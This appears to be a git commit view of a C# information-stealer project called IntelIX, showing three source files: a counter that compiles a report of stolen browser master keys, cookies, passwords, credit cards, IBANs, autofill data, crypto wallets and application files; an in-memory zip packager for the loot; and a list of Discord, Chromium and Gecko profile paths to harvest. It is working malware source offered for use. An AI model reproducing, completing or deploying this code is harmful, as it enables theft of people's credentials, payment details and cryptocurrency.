initial commit

This commit is contained in:
i2p
2026-08-27 18:29:08 +00:00
commit 89e4383061
454 changed files with 18399 additions and 0 deletions
Binary file not shown.
Binary file not shown.
Binary file not shown.
+194
View File
@@ -0,0 +1,194 @@
using System.Collections.Concurrent;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using Intelix.Helper.Encrypted;
namespace Intelix.Helper.Data;
public class Counter
{
public class CounterBrowser
{
public string Profile;
public string BrowserName;
public ConcurrentLong Cookies = new ConcurrentLong(0);
public ConcurrentLong Password = new ConcurrentLong(0);
public ConcurrentLong CreditCards = new ConcurrentLong(0);
public ConcurrentLong AutoFill = new ConcurrentLong(0);
public ConcurrentLong RestoreToken = new ConcurrentLong(0);
public ConcurrentLong MaskCreditCard = new ConcurrentLong(0);
public ConcurrentLong MaskedIban = new ConcurrentLong(0);
}
public class CounterApplications
{
public string Name;
public ConcurrentBag<string> Files = new ConcurrentBag<string>();
}
public ConcurrentBag<string> FilesGrabber = new ConcurrentBag<string>();
public ConcurrentBag<string> CryptoDesktop = new ConcurrentBag<string>();
public ConcurrentBag<string> CryptoChromium = new ConcurrentBag<string>();
public ConcurrentBag<CounterBrowser> Browsers = new ConcurrentBag<CounterBrowser>();
public ConcurrentBag<CounterApplications> Applications = new ConcurrentBag<CounterApplications>();
public ConcurrentBag<CounterApplications> Vpns = new ConcurrentBag<CounterApplications>();
public ConcurrentBag<CounterApplications> Games = new ConcurrentBag<CounterApplications>();
public ConcurrentBag<CounterApplications> Messangers = new ConcurrentBag<CounterApplications>();
public void Collect(InMemoryZip zip)
{
List<string> list = new List<string>();
list.Add("\r\n \r\n _____ _ \r\n|_ _|____ _(_)\r\n | |/ _ \\ \\/ / |\r\n | | (_) > <| |\r\n |_|\\___/_/\\_\\_|\r\n ");
list.Add(" Developer @tcixt");
list.Add("");
List<string[]> masterKeys = LocalState.GetMasterKeys();
if (masterKeys.Count() > 0)
{
list.Add(string.Format("[Keys] [--{0}--] [{1}]", masterKeys.Count(), string.Join(", ", masterKeys.Select((string[] k) => Paths.GetBrowserName(k[0])).Distinct())));
foreach (string[] item in masterKeys)
{
list.Add(" [" + Paths.GetBrowserName(item[0]) + " " + item[1] + "] " + item[2]);
}
list.Add("");
}
if (Browsers.Count() > 0)
{
list.Add(string.Format("[Browsers] [--{0}--] [{1}]", Browsers.Count(), string.Join(", ", Browsers.Select((CounterBrowser b) => b.BrowserName).ToArray())));
foreach (CounterBrowser browser in Browsers)
{
list.Add(" - " + browser.Profile);
if ((long)browser.Cookies != 0L)
{
list.Add($" [Cookies {(long)browser.Cookies}]");
}
if ((long)browser.Password != 0L)
{
list.Add($" [Passwords {(long)browser.Password}]");
}
if ((long)browser.CreditCards != 0L)
{
list.Add($" [CreditCards {(long)browser.CreditCards}]");
}
if ((long)browser.AutoFill != 0L)
{
list.Add($" [AutoFill {(long)browser.AutoFill}]");
}
if ((long)browser.RestoreToken != 0L)
{
list.Add($" [RestoreToken {(long)browser.RestoreToken}]");
}
if ((long)browser.MaskCreditCard != 0L)
{
list.Add($" [MaskCreditCard {(long)browser.MaskCreditCard}]");
}
if ((long)browser.MaskedIban != 0L)
{
list.Add($" [MaskedIban {(long)browser.MaskedIban}]");
}
list.Add("");
}
list.Add("");
}
if (Applications.Count() > 0)
{
list.Add(string.Format("[Applications] [--{0}--] [{1}]", Applications.Count(), string.Join(", ", Applications.Select((CounterApplications b) => b.Name).ToArray())));
foreach (CounterApplications application in Applications)
{
list.Add(" [Name " + application.Name + "]");
foreach (string item2 in application.Files.Reverse())
{
list.Add(" - " + item2);
}
list.Add("");
}
list.Add("");
}
if (Games.Count() > 0)
{
list.Add(string.Format("[Games] [--{0}--] [{1}]", Games.Count(), string.Join(", ", Games.Select((CounterApplications b) => b.Name).ToArray())));
foreach (CounterApplications game in Games)
{
list.Add(" [Name " + game.Name + "]");
foreach (string item3 in game.Files.Reverse())
{
list.Add(" - " + item3);
}
list.Add("");
}
list.Add("");
}
if (Messangers.Count() > 0)
{
list.Add(string.Format("[Messangers] [--{0}--] [{1}]", Messangers.Count(), string.Join(", ", Messangers.Select((CounterApplications b) => b.Name).ToArray())));
foreach (CounterApplications messanger in Messangers)
{
list.Add(" [Name " + messanger.Name + "]");
foreach (string item4 in messanger.Files.Reverse())
{
list.Add(" - " + item4);
}
list.Add("");
}
list.Add("");
}
if (Vpns.Count() > 0)
{
list.Add(string.Format("[Vpns] [--{0}--] [{1}]", Vpns.Count(), string.Join(", ", Vpns.Select((CounterApplications b) => b.Name).ToArray())));
foreach (CounterApplications vpn in Vpns)
{
list.Add(" [Name " + vpn.Name + "]");
foreach (string item5 in vpn.Files.Reverse())
{
list.Add(" - " + item5);
}
list.Add("");
}
list.Add("");
}
if (CryptoChromium.Count() > 0)
{
list.Add($"[CryptoChromium] [--{CryptoChromium.Count()}--]");
foreach (string item6 in CryptoChromium)
{
list.Add(" - " + item6);
}
list.Add("");
}
if (CryptoDesktop.Count() > 0)
{
list.Add($"[CryptoDesktop] [--{CryptoDesktop.Count()}--]");
foreach (string item7 in CryptoDesktop)
{
list.Add(" - " + item7);
}
list.Add("");
}
if (FilesGrabber.Count() > 0)
{
list.Add($"[FilesGrabber] [--{FilesGrabber.Count()}--]");
foreach (string item8 in FilesGrabber)
{
list.Add(" - " + item8);
}
list.Add("");
}
zip.AddTextFile("IntelIX.txt", string.Join("\n", list));
}
}
+124
View File
@@ -0,0 +1,124 @@
using System;
using System.Collections.Concurrent;
using System.Collections.Generic;
using System.IO;
using System.IO.Compression;
using System.Text;
namespace Intelix.Helper.Data;
public sealed class InMemoryZip : IDisposable
{
private readonly ConcurrentDictionary<string, byte[]> _entries = new ConcurrentDictionary<string, byte[]>(StringComparer.OrdinalIgnoreCase);
private readonly object _buildLock = new object();
private bool _disposed;
public int Count => _entries.Count;
private static string NormalizeEntryName(string name)
{
if (string.IsNullOrWhiteSpace(name))
{
throw new ArgumentException("Entry name is null or empty", "name");
}
name = name.Replace('\\', '/').Trim('/');
if (name.Length != 0)
{
return name;
}
throw new ArgumentException("Invalid entry name", "name");
}
public void AddFile(string entryPath, byte[] content)
{
if (_disposed)
{
throw new ObjectDisposedException("InMemoryZip");
}
if (content != null && content.Length != 0)
{
string key = NormalizeEntryName(entryPath);
byte[] copy = new byte[content.Length];
Buffer.BlockCopy(content, 0, copy, 0, content.Length);
_entries.AddOrUpdate(key, copy, (string text, byte[] old) => copy);
}
}
public void AddTextFile(string entryPath, string text)
{
if (!string.IsNullOrEmpty(text))
{
AddFile(entryPath, Encoding.UTF8.GetBytes(text));
}
}
public void AddDirectoryFiles(string sourceDirectory, string targetEntryDirectory = "", bool recursive = true)
{
if (_disposed)
{
throw new ObjectDisposedException("InMemoryZip");
}
if (string.IsNullOrEmpty(sourceDirectory))
{
throw new ArgumentException("sourceDirectory");
}
if (!Directory.Exists(sourceDirectory))
{
return;
}
SearchOption searchOption = (recursive ? SearchOption.AllDirectories : SearchOption.TopDirectoryOnly);
string[] files = Directory.GetFiles(sourceDirectory, "*", searchOption);
foreach (string text in files)
{
string text2 = text.Substring(sourceDirectory.Length).TrimStart(Path.DirectorySeparatorChar, Path.AltDirectorySeparatorChar);
string text3 = (string.IsNullOrEmpty(targetEntryDirectory) ? text2 : Path.Combine(targetEntryDirectory, text2));
text3 = text3.Replace('\\', '/');
try
{
byte[] content = File.ReadAllBytes(text);
AddFile(text3, content);
}
catch
{
}
}
}
public byte[] ToArray(CompressionLevel compression = CompressionLevel.Fastest)
{
if (_disposed)
{
throw new ObjectDisposedException("InMemoryZip");
}
lock (_buildLock)
{
using MemoryStream memoryStream = new MemoryStream();
using (ZipArchive zipArchive = new ZipArchive(memoryStream, ZipArchiveMode.Create, leaveOpen: true, Encoding.UTF8))
{
foreach (KeyValuePair<string, byte[]> entry in _entries)
{
using Stream stream = zipArchive.CreateEntry(entry.Key, compression).Open();
byte[] value = entry.Value;
stream.Write(value, 0, value.Length);
}
}
return memoryStream.ToArray();
}
}
public void Clear()
{
_entries.Clear();
}
public void Dispose()
{
if (!_disposed)
{
_disposed = true;
_entries.Clear();
}
}
}
+121
View File
@@ -0,0 +1,121 @@
using System;
using System.IO;
namespace Intelix.Helper.Data;
public static class Paths
{
public static string appdata = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData);
public static string localappdata = Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData);
public static string[] Discord = new string[4]
{
appdata + "\\discord",
appdata + "\\discordcanary",
appdata + "\\Lightcord",
appdata + "\\discordptb"
};
public static string[] Chromium = new string[66]
{
appdata + "\\Lulumi-browser",
appdata + "\\kingpinbrowser",
appdata + "\\Falkon\\Profiles",
appdata + "\\Hola\\chromium_profile",
appdata + "\\Opera Software\\Opera Stable",
appdata + "\\Opera Software\\Opera GX Stable",
localappdata + "\\Battle.net",
localappdata + "\\GhostBrowser",
localappdata + "\\ColibriBrowser",
localappdata + "\\Min\\User Data",
localappdata + "\\Coowon\\Coowon",
localappdata + "\\Uran\\User Data",
localappdata + "\\Kinza\\User Data",
localappdata + "\\Blisk\\User Data",
localappdata + "\\Xvast\\User Data",
localappdata + "\\Torch\\User Data",
localappdata + "\\CryptoTab Browser",
localappdata + "\\Comodo\\User Data",
localappdata + "\\Kometa\\User Data",
localappdata + "\\liebao\\User Data",
localappdata + "\\Chedot\\User Data",
localappdata + "\\K-Melon\\User Data",
localappdata + "\\Orbitum\\User Data",
localappdata + "\\Vivaldi\\User Data",
localappdata + "\\Slimjet\\User Data",
localappdata + "\\Iridium\\User Data",
localappdata + "\\Maxthon\\User Data",
localappdata + "\\Maxthon3\\User Data",
localappdata + "\\Nichrome\\User Data",
localappdata + "\\Chromodo\\User Data",
localappdata + "\\QIP Surf\\User Data",
localappdata + "\\Chromium\\User Data",
localappdata + "\\BitTorrent\\Maelstrom",
localappdata + "\\Globus VPN\\User Data",
localappdata + "\\CentBrowser\\User Data",
localappdata + "\\Amigo\\User\\User Data",
localappdata + "\\MapleStudio\\ChromePlus",
localappdata + "\\7Star\\7Star\\User Data",
localappdata + "\\Mail.Ru\\Atom\\User Data",
localappdata + "\\Comodo\\Dragon\\User Data",
localappdata + "\\UCBrowser\\User Data_i18n",
localappdata + "\\Google\\Chrome\\User Data",
localappdata + "\\Coowon\\Coowon\\User Data",
localappdata + "\\CocCoc\\Browser\\User Data",
localappdata + "\\AOL\\AOL Shield\\User Data",
localappdata + "\\Microsoft\\Edge\\User Data",
localappdata + "\\uCozMedia\\Uran\\User Data",
localappdata + "\\Element Browser\\User Data",
localappdata + "\\Sputnik\\Sputnik\\User Data",
localappdata + "\\Elements Browser\\User Data",
localappdata + "\\CCleaner Browser\\User Data",
localappdata + "\\360Chrome\\Chrome\\User Data",
localappdata + "\\Tencent\\QQBrowser\\User Data",
localappdata + "\\Naver\\Naver Whale\\User Data",
localappdata + "\\Baidu\\BaiduBrowser\\User Data",
localappdata + "\\360Browser\\Browser\\User Data",
localappdata + "\\Google(x86)\\Chrome\\User Data",
localappdata + "\\Epic Privacy Browser\\User Data",
localappdata + "\\CatalinaGroup\\Citrio\\User Data",
localappdata + "\\Yandex\\YandexBrowser\\User Data",
localappdata + "\\MapleStudio\\ChromePlus\\User Data",
localappdata + "\\AVAST Software\\Browser\\User Data",
localappdata + "\\BraveSoftware\\Brave-Browser\\User Data",
localappdata + "\\NVIDIA Corporation\\NVIDIA GeForce Experience",
localappdata + "\\BraveSoftware\\Brave-Browser-Nightly\\User Data",
localappdata + "\\Fenrir Inc\\Sleipnir5\\setting\\modules\\ChromiumViewer"
};
public static string[] Gecko = new string[18]
{
appdata + "\\Mozilla\\Firefox\\Profiles",
appdata + "\\Waterfox\\Profiles",
appdata + "\\K-Meleon\\Profiles",
appdata + "\\Thunderbird\\Profiles",
appdata + "\\Comodo\\IceDragon\\Profiles",
appdata + "\\8pecxstudios\\Cyberfox\\Profiles",
appdata + "\\NETGATE Technologies\\BlackHaw\\Profiles",
appdata + "\\Moonchild Productions\\Pale Moon\\Profiles",
appdata + "\\Ghostery Browser\\Profiles",
appdata + "\\Undetectable\\Profiles",
appdata + "\\Sielo\\profiles",
appdata + "\\Waterfox\\Profiles",
appdata + "\\conkeror.mozdev.org\\conkeror\\Profiles",
appdata + "\\Netscape\\Navigator\\Profiles",
appdata + "\\Mozilla\\SeaMonkey\\Profiles",
appdata + "\\FlashPeak\\SlimBrowser\\Profiles",
appdata + "\\Avant Profiles",
appdata + "\\Flock\\Profiles"
};
public static string GetBrowserName(string path)
{
string[] array = path.Split(Path.DirectorySeparatorChar);
if (path.Contains("Opera"))
{
return array[6].Replace(" Stable", "");
}
return array[5];
}
}